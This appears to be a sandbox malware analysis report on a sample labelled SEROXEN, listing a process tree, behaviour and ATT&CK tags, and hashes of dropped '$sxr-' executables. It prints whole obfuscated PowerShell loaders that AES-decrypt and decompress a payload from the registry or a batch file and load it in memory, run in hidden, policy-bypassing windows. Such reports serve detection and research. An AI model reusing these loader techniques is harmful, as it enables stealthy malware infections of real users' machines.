[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($jCLuL).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); "4⤵PID:3424
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass4⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5280 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(5280).WaitForExit();[System.Threading.Thread]::Sleep(5000); function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $Pklfc=$fphRh.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($jCLuL).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
PID:5612 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(5280).WaitForExit();[System.Threading.Thread]::Sleep(5000); function xdRlX($KTDcL){ $CaLon=[System.Security.Cryptography.Aes]::Create(); $CaLon.Mode=[System.Security.Cryptography.CipherMode]::CBC; $CaLon.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $CaLon.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JOX+UM6JbIY1yF72S/+QeLIiH1Y7UN6XYcEGrI97Wh8='); $CaLon.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('NhUktSQTvDQPEO0kzXnzqg=='); $fphRh=$CaLon.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $Pklfc=$fphRh.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($KTDcL, 0, $KTDcL.Length); $fphRh.Dispose(); $CaLon.Dispose(); $Pklfc;}function aOhWH($KTDcL){ $QCcTi=New-Object System.IO.MemoryStream(,$KTDcL); $iJOfY=New-Object System.IO.MemoryStream; Invoke-Expression '$IDrbE @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QCcTi,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $IDrbE.CopyTo($iJOfY); $IDrbE.Dispose(); $QCcTi.Dispose(); $iJOfY.Dispose(); $iJOfY.ToArray();}function DIhvJ($KTDcL){ $Pklfc = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($KTDcL); $Pklfc = xdRlX($Pklfc); $Pklfc = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($Pklfc); return $Pklfc;}function execute_function($KTDcL,$drOJu){ $OTBka = @( '$BLCrl = [System.Reflection.Assembly]::Load([byte[]]$KTDcL);', '$mzRuA = $BLCrl.EntryPoint;', '$mzRuA.Invoke($null, $drOJu);' ); foreach ($VICTV in $OTBka) { Invoke-Expression $VICTV };}$jCLuL = DIhvJ('kKvCaGY9yDPt45pjlJ5HTQ==');$gBGms = DIhvJ('3qVsmzePDU4y10a7a6mzmi/7Mk+TFKeA/wJUwmdcPGQ=');$Kcpma = DIhvJ('uldxysM3fyIvMU8obXTQhA==');$yuYsp = DIhvJ('dDqsaaMwfBgcHY1D5c++Lg==');if (@(get-process -ea silentlycontinue $yuYsp).count -gt 1) {exit};$RKgdw = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($jCLuL).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($gBGms);$vENZq=aOhWH (xdRlX ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($RKgdw)));execute_function $vENZq (,[string[]] ($Kcpma)); "6⤵PID:3544
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass6⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1268
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1484
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1620
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1824
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1924
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1944
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1920
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2660
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3112 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:5944 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3256
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function cvuMK($VGXKO){ $wOCyE=[System.Security.Cryptography.Aes]::Create(); $wOCyE.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wOCyE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wOCyE.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('5KGJlsdfs2K1GuioC+Ca7Za317OVrfOuGA7DysBetto='); $wOCyE.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('7CEVBwPI/sJTgJo/6LvX3g=='); $hRIvH=$wOCyE.CreateDecryptor(); $return_var=$hRIvH.TransformFinalBlock($VGXKO, 0, $VGXKO.Length); $hRIvH.Dispose(); $wOCyE.Dispose(); $return_var;}function aFYfA($VGXKO){ $xalqg=New-Object System.IO.MemoryStream(,$VGXKO); $bkSwW=New-Object System.IO.MemoryStream; Invoke-Expression '$VwiEs #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$xalqg,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $VwiEs.CopyTo($bkSwW); $VwiEs.Dispose(); $xalqg.Dispose(); $bkSwW.Dispose(); $bkSwW.ToArray();}function pUtVz($VGXKO,$qWaic){ $GvCxN = @( '$dSXpA = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$VGXKO);', '$hGKSO = $dSXpA.EntryPoint;', '$hGKSO.Invoke($null, $qWaic);' ); foreach ($vytyl in $GvCxN) { Invoke-Expression $vytyl };}$KjwpV=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($tCDEi in $KjwpV) { if ($tCDEi.StartsWith('SEROXEN')) { $iFwPA=$tCDEi.Substring(7); break; }}$uniIF=aFYfA (cvuMK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($iFwPA)));pUtVz $uniIF (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "3⤵PID:788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Impair Defenses: Safe Mode Boot
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3288
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3608
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3712
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:3988
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:6036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5776
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1912
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2772
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5184
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3120
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2516
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 62KB
- SHA256 b48eb9b8637997d1ce301af35ea735e9ec4a5de53ee7e05ce8e6ae495db55803
- MD5 440cb5ad5a9459f933dc5043c2ac6521
- SHA1 0a7c46086a5089f6e5e7947a0eab5c5593d06d44
- SHA512 6ba55fa604c78c7b12255626d264dd03afa8e66ab57f6fea6703a2a7d3b9b9693771124ccea826ad3c31fae4a9508b967fd4229e4744c3264105bff63698d3cd
- SSDEEP 1536:LflJd+h4iUxUYyYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMy:LflJd+qiUUYyYkzvHgfKQaUpeE711kDa
- TLSH T153537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oqki2yjp.gqs.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\$sxr-cmd.exe
- Size 324KB
- SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
- MD5 c5db7b712f280c3ae4f731ad7d5ea171
- SHA1 e8717ff0d40e01fd3b06de2aa5a401bed1c907cc
- SHA512 bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89
- SSDEEP 6144:wh6/6DOyYSltqYDQjHpUWIcz5ROTOhM111uq9iRUaaUga4m1:p/6yL4qfjHpUBKfAO61Tb494
- TLSH T1EC64495E639828E5E927913DC903C121D6B23C35632192EF12D0CD7B7F63AE97A39B05
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\$sxr-mshta.exe
- Size 32KB
- SHA256 4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e
- MD5 356e04e106f6987a19938df67dea0b76
- SHA1 f2fd7cde5f97427e497dfb07b7f682149dc896fb
- SHA512 df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd
- SSDEEP 192:FXr2qjWSWvrCpspQlu/ZwvdlC5EY/S99PXWwKLIR:FXFL0WpsdZdY9/WwK
- TLSH T12DE2D686B35744BAED2E4235446B4645A235BD210B112BFF30B0B67E2F32BD2BD32794
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\$sxr-powershell.exe
- Size 440KB
- SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
- MD5 0e9ccd796e251916133392539572a374
- SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
- SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
- SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
- TLSH T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
- MD5 SHA1 SHA512 SSDEEP TLSH